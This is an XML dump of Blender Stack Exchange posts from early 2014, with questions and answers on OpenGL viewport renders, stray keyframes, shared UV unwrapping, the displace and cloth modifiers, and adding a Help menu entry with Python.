  <row Id="5971" PostTypeId="2" ParentId="5963" CreationDate="2014-01-03T16:00:16.417" Score="0" Body="&lt;p&gt;Alternatively, you can set the camera as the object's parent if you're planning on animating your scene. Combine this with Adhi's answer to have it aligned. Select the text (or whatever), then the object (hold &lt;kbd&gt;Shift&lt;/kbd&gt;), then &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt; to set it as the parent.&lt;/p&gt;&#xA;" OwnerUserId="1881" LastActivityDate="2014-01-03T16:00:16.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5972" PostTypeId="1" AcceptedAnswerId="5974" CreationDate="2014-01-03T16:14:05.173" Score="11" ViewCount="14158" Body="&lt;p&gt;My question may look somewhat similar for the ones already answered on different forums &lt;em&gt;&quot;how to capture high resolution screenshots of blender&quot;&lt;/em&gt;; although I don't care about the user interface at all!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want is only to create a screenshot of the 3D View itself with only a single object, that has a matcap shader turned on, with a custom resolution, eg. 4000px*4000px.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? If not possible natively in blender, is there a non-photorealistic renderer that uses only a reflection map (matcap) to produce an image in custom resolution? (atm I could not find one)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; &lt;em&gt;If a Python script is available for saving partial screenshots at a given zoom-level, one-after-another it also works, I guess. (at least when I want to capture the model in ortho projection).&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1989" LastEditorUserId="55" LastEditDate="2014-01-04T15:52:45.527" LastActivityDate="2018-02-09T06:04:43.730" Title="How to save print-quality screenshots of the 3D view?" Tags="&lt;rendering&gt;&lt;image&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5973" PostTypeId="2" ParentId="5972" CreationDate="2014-01-03T16:19:53.030" Score="1" Body="&lt;p&gt;Render &gt; OpenGL Render Image sounds like what you're looking for to me.&lt;/p&gt;&#xA;" OwnerUserId="1881" LastActivityDate="2014-01-03T16:19:53.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5974" PostTypeId="2" ParentId="5972" CreationDate="2014-01-03T16:20:06.623" Score="12" Body="&lt;p&gt;Have you considered the OpenGL render? You can set the resolution in the render tab, then just click the render button in the toolbar at the bottom of the 3D viewport.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://puu.sh/6886c.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It then renders an image of the viewport (without the grid) that you can save. It also works with animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The render anti-aliasing settings are used so for a higher quality result you can set it to 16, since its OpenGL the additional samples are typically still quite fast to render and help to give a smoother final image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a 4K render done with the OpenGL render:&#xA;&lt;img src=&quot;https://i.imgur.com/pI2jT73.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.257" LastActivityDate="2014-01-04T07:15:26.030" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5975" PostTypeId="2" ParentId="5910" CreationDate="2014-01-03T16:38:45.217" Score="0" Body="&lt;p&gt;Judging from your comment on Polosson's answer, you may want to convert the curve to a mesh (&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;, then Mesh from Curve/Text), set it as the parent to the object you want along the curve (select the object, then the curve, then &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;P&lt;/kbd&gt;), and then enable duplication (in the object panel for the curve, in duplication, activate &quot;Verts&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Play with the curve's resolution before converting it (in the Curve panel) to tweak the density.&lt;/p&gt;&#xA;" OwnerUserId="1881" LastActivityDate="2014-01-03T16:38:45.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5976" PostTypeId="2" ParentId="5972" CreationDate="2014-01-03T17:35:15.470" Score="9" Body="&lt;p&gt;Using the OpenGL quick render is the fastest way to go but blender can also use external matcap images as materials. Grab the ones Blender uses from the &lt;a href=&quot;http://git.blender.org/gitweb/gitweb.cgi/blender.git/tree/HEAD:/release/datafiles/matcaps&quot; rel=&quot;noreferrer&quot;&gt;online repo here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a new material and in the texture settings, load in the matcap image and just set &lt;em&gt;Coordinates&lt;/em&gt; under &lt;em&gt;Mapping&lt;/em&gt; to &lt;em&gt;Normal&lt;/em&gt;. Set your viewport shading to &lt;em&gt;GLSL&lt;/em&gt; to see these in realtime. This has several benefits such as being able to use multiple matcaps while still having the full internal renderer at your disposal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More free matcaps &lt;a href=&quot;http://pixologic.com/zbrush/downloadcenter/library/&quot; rel=&quot;noreferrer&quot;&gt;here from zBrush's free library&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lhJcH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-01-03T17:35:15.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5978" PostTypeId="1" AcceptedAnswerId="5979" CreationDate="2014-01-03T17:51:48.787" Score="7" ViewCount="8376" Body="&lt;p&gt;I am new to blender, and I have just created a island using ANT landscapes, and I have build two boats for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/s18zH.png&quot; alt=&quot;Two boats&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two boats on island &#xA;They are in this place when I am in object mode, but when I render it they appear here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dWUtr.png&quot; alt=&quot;Island with boats in wrong place&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I check the position of where they end up, and it is both where they were imported and 0,0,0. Although, all the other objects I have imported have not changed position. Does anyone know about how to fix this or have experienced this problem?&lt;/p&gt;&#xA;" OwnerUserId="2045" LastEditorUserId="12" LastEditDate="2014-01-03T18:04:14.217" LastActivityDate="2020-08-20T06:47:13.593" Title="Blender Object keeps moving back to 0,0,0" Tags="&lt;objects&gt;&lt;transforms&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5979" PostTypeId="2" ParentId="5978" CreationDate="2014-01-03T18:01:08.347" Score="2" Body="&lt;p&gt;You have to apply the location of the objects with &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;A&lt;/kbd&gt;, otherwise the location is reset when you render.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="20508" LastEditDate="2016-07-20T01:28:32.913" LastActivityDate="2016-07-20T01:28:32.913" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5980" PostTypeId="2" ParentId="5978" CreationDate="2014-01-03T19:31:19.333" Score="18" Body="&lt;p&gt;I think you've accidentally added a keyframe. You can confirm by moving the boat (with &lt;kbd&gt;G&lt;/kbd&gt;) and then pressing the right arrow to scroll to a different frame. If the boat snaps back to where it was before you moved it, then it's been keyframed. &lt;strong&gt;Applying the location will keep the boat from moving... but it won't solve the problem.&lt;/strong&gt; If you want to move it again, you'll have to apply the location again, and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the above reveals a rogue keyframe, open the graph editor and press &lt;kbd&gt;A&lt;/kbd&gt; to select all, then &lt;kbd&gt;Delete&lt;/kbd&gt; to delete all the keyframes (assuming you aren't animating anything that you want to keep; otherwise, just delete the keyframes for the boat).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can delete all the location keyframes for the boat by selecting it and then looking in &lt;em&gt;3D view &gt; Properties panel (&lt;kbd&gt;N&lt;/kbd&gt; in the 3D view) &gt; Transform &gt; Location&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LKahY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the values are highlighted green, or yellow like in the above screenshot, that means they have a keyframe. (Yellow means there is a keyframe &lt;em&gt;on this frame&lt;/em&gt;, green means there is a keyframe on &lt;em&gt;some other frame&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To delete all location keyframes on that object, right click on one of the values and select &lt;em&gt;Clear Keyframes&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IF5G1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1653" LastEditorUserId="660" LastEditDate="2017-08-30T20:25:53.520" LastActivityDate="2017-08-30T20:25:53.520" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5981" PostTypeId="1" CreationDate="2014-01-03T20:19:00.347" Score="4" ViewCount="1686" Body="&lt;p&gt;I have so many books models to texture. Texturing them one by one will be a pain. Can Blender unwrap two (or more) separate meshes and make them share the same UV grid?&lt;/p&gt;&#xA;" OwnerUserId="1468" LastEditorUserId="696" LastEditDate="2014-01-04T04:49:42.033" LastActivityDate="2014-01-04T04:51:17.773" Title="Unwrap Separate Meshes" Tags="&lt;uv&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5982" PostTypeId="2" ParentId="5981" CreationDate="2014-01-03T20:26:20.517" Score="1" Body="&lt;p&gt;(Warning, this method might undo some work, so save before you try it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not precisely, no. But you can make all the models use the same mesh, IWC they would also use the same UV maps, and you'd only have to unwrap one of them. If they are all sufficiently similar, you can select all of the books and press &lt;kbd&gt;ctrl&lt;/kbd&gt;&lt;kbd&gt;L&lt;/kbd&gt;, then select &quot;Object data.&quot; This will make all of the objects use a copy of exactly the same mesh (in fact, if you tab into edit mode for one of them, all the other linked meshes will also be highlighted as if they are also in edit mode). This way, you can edit the mesh (or UV map) for one, and the others will all use a copy of that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Incidentally, if you want variation in the books, you can still move, rotate, and scale the OBJECTS independently. I.e. you can make one book fatter than the others by scaling the object on one axis, without changing the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore, you can make any or all of them unique individuals (no longer using copies of the same mesh, but rather each using their own mesh) without losing the UV map. Click the number next to the name of the mesh to &quot;Make single-user copy.&quot; Then that one will be identical, but independent. You'd have to do this for each one, which might be tedious, but that only matters if you want them to be independent, like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="1653" LastEditorUserId="1653" LastEditDate="2014-01-03T23:25:08.440" LastActivityDate="2014-01-03T23:25:08.440" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5983" PostTypeId="2" ParentId="5981" CreationDate="2014-01-03T20:56:21.643" Score="3" Body="&lt;p&gt;As long as all the vertices in your objects are completely connected to each other (no loose parts) the following technique will work:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Select all your objects, and press &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;. This will join them into one  mesh.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;U&lt;/kbd&gt; &gt; Unwrap (or whatever unwrapping method you want use).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;P&lt;/kbd&gt; &gt; Separate by Loose Parts.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://puu.sh/68o14.png&quot; alt=&quot;https://puu.sh/68o14.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This works great for quick 'n' dirty unwrapping onto a tileable image, but it may make more sense to link them all (like Matt said). The simplest way to link them early in a project is to duplicate them with &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt; instead of &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;D&lt;/kbd&gt;. It will link the mesh and the UV map which will make things easier later on.&lt;/p&gt;&#xA;" OwnerUserId="20" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:44.270" LastActivityDate="2014-01-04T04:51:17.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5984" PostTypeId="1" CreationDate="2014-01-04T03:31:35.733" Score="0" ViewCount="518" Body="&lt;p&gt;Some modifiers allow me to select a vertex group upon which to operate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The remesh modifier doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a 3-D mesh of a head, and I need the ears remeshed to a very high resolution and the rest of the head to a much lower resolution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created 2 vertex groups.  Now I could {save, remesh, export to .OBJ} for each group, then create a blank project and import both .OBJs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming the re-meshing process has not messed up the join-perimeter, they should still fit together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this the best way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I've just realised that the perimeter will be messed up.   Say you have a cylinder with 100 points around the circle.   Cut it in half, now you have two cylinders.  Reduce one of them so it has 10 points around the circle. Now obviously these are not going to match up.  So is there some way to 'glue' them back together?&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="1693" LastEditDate="2014-01-07T14:34:14.277" LastActivityDate="2014-01-07T20:28:31.143" Title="ReMeshing two vertex groups to different resolutions" Tags="&lt;mesh&gt;&lt;modifiers&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5985" PostTypeId="2" ParentId="5910" CreationDate="2014-01-04T04:36:20.640" Score="6" Body="&lt;p&gt;Here is a solution supposed the arrayed objects are relatively simple and regular:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IICjC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Demo file is &lt;strong&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B1ojv5B6Lb-3UTB1VVZhQkF1bW8/view?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have to admit that such solution is very limited, but if it's enough to serve your particular case, then try it. :)&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-09-16T14:02:20.197" LastActivityDate="2015-09-16T14:02:20.197" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5987" PostTypeId="1" AcceptedAnswerId="5988" CreationDate="2014-01-04T08:39:54.543" Score="4" ViewCount="3445" Body="&lt;p&gt;To make &lt;code&gt;bump effect&lt;/code&gt; it is easily done by applying a proper texture and adjusting &lt;code&gt;displace&lt;/code&gt; parameter to a given good resolution mesh. However it will be seen only in render. Our question is how to actually deform a mesh by applying a texture?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ai3NB.png&quot; alt=&quot;texture applied&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently as seen above, Blender does deformation of the mesh, but where is the deformed mesh?&lt;/p&gt;&#xA;" OwnerUserId="1716" LastActivityDate="2014-01-04T08:43:07.603" Title="How to generate a deformed mesh based on applied texture" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5988" PostTypeId="2" ParentId="5987" CreationDate="2014-01-04T08:43:07.603" Score="4" Body="&lt;p&gt;You can use a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Displace&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Displace Modifier&lt;/em&gt;&lt;/a&gt; to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Deform/Displace&quot; rel=&quot;nofollow noreferrer&quot;&gt;wiki&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The &lt;em&gt;Displace&lt;/em&gt; modifier displaces vertices in a mesh based on the intensity of a texture. Either procedural or image textures can be used. The displacement can be along a particular local axis, along the vertex normal, or the separate RGB components of the texture can be used to displace vertices in the local X, Y and Z directions simultaneously. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ite9c.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ite9c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-01-04T08:43:07.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5989" PostTypeId="1" AcceptedAnswerId="5990" CreationDate="2014-01-04T08:50:31.857" Score="3" ViewCount="2085" Body="&lt;p&gt;I got a Jacket without material-volume (zero thickness) in relaxed position(sleeve-opening at trouser-waistband).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Physic's Cloth-Modifier with preset Cotton. Self-collision is activated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think i understand what Structural(stiffness) and Bending(stiffness) means.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i actually have a jiggling shirt without stiffness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Does the material needs a volume?&lt;/li&gt;&#xA;&lt;li&gt;What is the relation to the values (does the object's size modifys the animation)?&lt;/li&gt;&#xA;&lt;li&gt;Structural and Bending are set to above 2000, why bake the animation an scrunched implusion? &#xA;EDIT: add question 3 screenshot &lt;img src=&quot;https://i.stack.imgur.com/To7KZ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2048" LastEditorUserId="2048" LastEditDate="2014-01-04T09:22:51.957" LastActivityDate="2014-01-05T01:51:27.677" Title="Stiffness of cloth jacket" Tags="&lt;cloth-simulation&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5990" PostTypeId="2" ParentId="5989" CreationDate="2014-01-04T09:08:33.653" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;By material, I assume you mean the mesh. For the purpose of simulating the cloth, the answer is no you don't need volume/thickness.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can dynamically add thickness that is not calculated in the simulation by adding a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Solidify&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;Solidify modifier&lt;/em&gt;&lt;/a&gt; after the cloth modifier. This may be useful if you want the cloth mesh to appear thicker without slowing down the simulation&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;AFAIK, no. I have seen no visible differences after running a few tests.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I'm not sure what you mean. Could you try and explain more/add screenshots?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Cloth#Material&quot; rel=&quot;nofollow&quot;&gt;wiki&lt;/a&gt;: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;em&gt;Structural&lt;/em&gt;&lt;br&gt;&#xA;  Overall stiffness of the cloth. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;em&gt;Bending&lt;/em&gt;&lt;br&gt;&#xA;  Wrinkle coefficient. Higher creates more large folds. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Also see the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Physics/Cloth#Cloth_Simulation&quot; rel=&quot;nofollow&quot;&gt;wiki page on cloth simulation&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-01-04T09:08:33.653" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5991" PostTypeId="1" AcceptedAnswerId="5996" CreationDate="2014-01-04T13:30:04.493" Score="6" ViewCount="909" Body="&lt;p&gt;I am trying to model car light for my game in blender. I want to change light's color when car stops or starts. I have tried couple of things such as changing emit color of current lights to emulate light source but as they are static material property ,it did not work for me (I can not access them through game engine controller ). I also tried placing half transparent object (which i can change their color through controller) in front of object whose emit property is set. But this did not also work as i can't manage color of half transparent object. &lt;img src=&quot;https://i.stack.imgur.com/NzqR2.jpg&quot; alt=&quot;Picture shows back lights with emit property set&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way easy to do this (changing emitting color of object dynamically)? Or am I missing something in my half-transparent object?&lt;/p&gt;&#xA;" OwnerUserId="2044" LastEditorUserId="20" LastEditDate="2014-01-04T15:54:26.487" LastActivityDate="2014-09-19T17:34:46.567" Title="Modelling car light in game engine" Tags="&lt;materials&gt;&lt;game-engine&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5992" PostTypeId="1" CreationDate="2014-01-04T16:09:14.763" Score="5" ViewCount="207" Body="&lt;p&gt;I am making an updater for blender and I want add &quot;Update Blender&quot; entry to the Help menu. How I do that ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know about the menu template , I know how to make the menu, my question is how I inject it to the bottom of the Help menu.&lt;/p&gt;&#xA;" OwnerUserId="2050" LastEditorUserId="12" LastEditDate="2014-01-04T18:27:15.550" LastActivityDate="2014-01-04T18:27:15.550" Title="How to post a new entry to the help menu with python" Tags="&lt;python&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5993" PostTypeId="2" ParentId="5992" CreationDate="2014-01-04T16:42:01.293" Score="3" Body="&lt;p&gt;You need to make a custom menu drawing function, accepting two arguments: the parent &lt;code&gt;Menu&lt;/code&gt; object and context access object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def draw_help_item(self, context):&#xA;    self.layout.operator('wm.new_help_item', text = &quot;New Help Item&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then either &lt;code&gt;append&lt;/code&gt; or &lt;code&gt;prepend&lt;/code&gt; the function to the menu's class upon registering the new class, and &lt;code&gt;remove&lt;/code&gt; it when unregistering:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def register():&#xA;    bpy.types.INFO_MT_add.append(draw_help_item)&#xA;    bpy.utils.register_module(__name__)&#xA;&#xA;def unregister():&#xA;    bpy.types.INFO_MT_add.remove(draw_help_item)&#xA;    bpy.utils.unregister_module(__name__)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The appropriate class' name, in this case &lt;code&gt;bpy.types.INFO_MT_add&lt;/code&gt;, can be searched in Python shell assisted by autocompletion. It's usually prefixed with the area type, then either &lt;code&gt;_MT&lt;/code&gt; for menu or &lt;code&gt;_HT&lt;/code&gt; for header, and is fairly easy to deduce which UI element it corresponds with.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2014-01-04T16:42:01.293" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5994" PostTypeId="1" CreationDate="2014-01-04T17:02:27.297" Score="4" ViewCount="256" Body="&lt;p&gt;I would like to use a data glove to move objects and get feedback from them. Is there a plug in product for this?&lt;/p&gt;&#xA;" OwnerUserId="2051" LastEditorUserId="395" LastEditDate="2014-01-05T09:26:58.947" LastActivityDate="2014-01-05T10:41:40.367" Title="How do I create a haptic interface?" Tags="&lt;modeling&gt;&lt;interface&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5995" PostTypeId="2" ParentId="4867" CreationDate="2014-01-04T17:54:30.187" Score="3" Body="&lt;p&gt;Looking at the definitions for the &lt;a href=&quot;http://git.blender.org/gitweb/gitweb.cgi/blender.git/blob/HEAD:/intern/cycles/kernel/shaders/node_image_texture.osl&quot; rel=&quot;nofollow&quot;&gt;Image Texture node&lt;/a&gt; and for the &lt;a href=&quot;http://git.blender.org/gitweb/gitweb.cgi/blender.git/blob/HEAD:/intern/cycles/kernel/shaders/node_environment_texture.osl&quot; rel=&quot;nofollow&quot;&gt;Environment Texture node&lt;/a&gt;, the only difference I note is the available projections. As you noted, &lt;em&gt;Environment Texture&lt;/em&gt; offers &lt;em&gt;Equirectangular&lt;/em&gt; and &lt;em&gt;Mirror Ball&lt;/em&gt;, whereas &lt;em&gt;Image Texture&lt;/em&gt; offers &lt;em&gt;Flat&lt;/em&gt; and &lt;em&gt;Box&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some things both have in common are that both will unpremultiply the alpha data, and both will convert sRGB to scene-linear color space. Other than that (and the complications of the &lt;em&gt;Box&lt;/em&gt; projection), the files are basically identical.&lt;/p&gt;&#xA;" OwnerUserId="372" LastActivityDate="2014-01-04T17:54:30.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5996" PostTypeId="2" ParentId="5991" CreationDate="2014-01-04T21:45:57.273" Score="1" Body="&lt;p&gt;Well, I don't see any answers yet, so ill tell you the best I know. I also don't know this, but I know a simple technique that I use for this subject until I figure out how to actually do it. In another scene(Can be accessed by pressing &quot;2&quot;), put a red light, white light or whatever, and edit it however you'd like. Then, go to scene 1, and in the logic bricks put [Keyboard&gt;And&gt;Edit object] Put Add object in the edit object logic brick, and select the light. Now when you press space, or &quot;A&quot; or whatever a light will show up quickly and leave. You can add more time but the problem is that the light stays in place just as if its static, so if you can get it to move with the glass(Parenting doesn't work, already tried) then this would work flawlessly. Sorry I don't know much, but its the best I can answer.&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2014-01-04T21:45:57.273" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5997" PostTypeId="1" CreationDate="2014-01-02T21:09:05.217" Score="0" ViewCount="907" Body="&lt;p&gt;I have seen &lt;a href=&quot;http://www.youtube.com/watch?v=z_c3LvrlOzk&quot; rel=&quot;nofollow noreferrer&quot;&gt;tutorials&lt;/a&gt; on creating a plane as a cloth that reacts to objects. What I would like to do is to create various patterns (such as the mesh below) and manipulate that pattern as a cloth (fold, roll, pull, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I accomplish this using Blender (I'm not interested in creating an animation)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FcTfF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="ElHaix" LastEditorUserId="395" LastEditDate="2014-01-04T23:29:29.237" LastActivityDate="2015-11-21T23:42:54.793" Title="How can I manipulate the properties of a pattern as a fabric using Blender?" Tags="&lt;modeling&gt;&lt;cloth-simulation&gt;" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5998" PostTypeId="2" ParentId="5997" CreationDate="2014-01-02T22:47:27.510" Score="0" Body="&lt;p&gt;As it is a mesh, you would need to add a whole lot more divisions to be able to warp it. meshes can only bend at vertices. Each of your 'sticks' would need many subdivisions if you wanted anything close to a smooth bend result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several ways to warp a mesh, although I am not specifically talking about the tools in SketchUp, as I am more familiar with Maya myself. The two main techiques are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bind the object to a skeleton/joints/bones. You would then paint the influence of each joint/bone onto each vertex, controlling its deformation. &lt;/li&gt;&#xA;&lt;li&gt;using a deformer, you could create a simple box with a couple of subdivisions. This would be laid over the top of your mesh and be bound as a controlling object. You could then animate the vertex on that instead. This would drive the far more complex subdivided mesh underneath.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="John" LastActivityDate="2014-01-02T22:47:27.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
